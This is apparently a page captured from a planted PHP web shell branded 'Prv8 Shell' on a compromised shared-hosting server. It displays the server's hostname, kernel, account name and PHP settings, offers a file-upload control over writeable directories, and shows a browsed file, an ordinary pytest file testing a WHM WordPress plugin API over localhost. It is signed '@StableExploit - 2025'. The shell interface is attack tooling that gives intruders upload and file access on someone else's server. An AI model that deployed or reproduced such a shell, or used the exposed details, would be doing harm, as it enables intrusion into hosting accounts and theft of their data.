Prv8 Shell
Server : Apache
System : Linux ecngx264.inmotionhosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : lonias5 ( 3576)
PHP Version : 7.3.33
Disable Function : NONE
Directory :  /usr/lib/imh-wpapi/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib/imh-wpapi/tests/test_api.py
"""Tests the WHM plugin by performing a request to it"""

import requests
import urllib3

# pylint:disable=unused-argument


def test_missing_method(access_hash, username):
    """Test that route_handler can handle when the method arg is missing"""
    req = _api(access_hash, username=username)
    assert req.json()['status'] == 2
    assert req.json()['message'] == "Invalid request; method required"


def test_list(access_hash, username):
    """Test the list endpoint"""
    req = _api(access_hash, username=username, method='list')
    assert req.json()['status'] == 0


def _api(access_hash, **params):
    urllib3.disable_warnings()
    return requests.get(
        'https://127.0.0.1:2087/cgi/imhapi/wpapi.cgi',
        headers={'Authorization': f'WHM root:{access_hash}'},
        params=params,
        verify=False,
        timeout=10.0,
    )

@StableExploit - 2025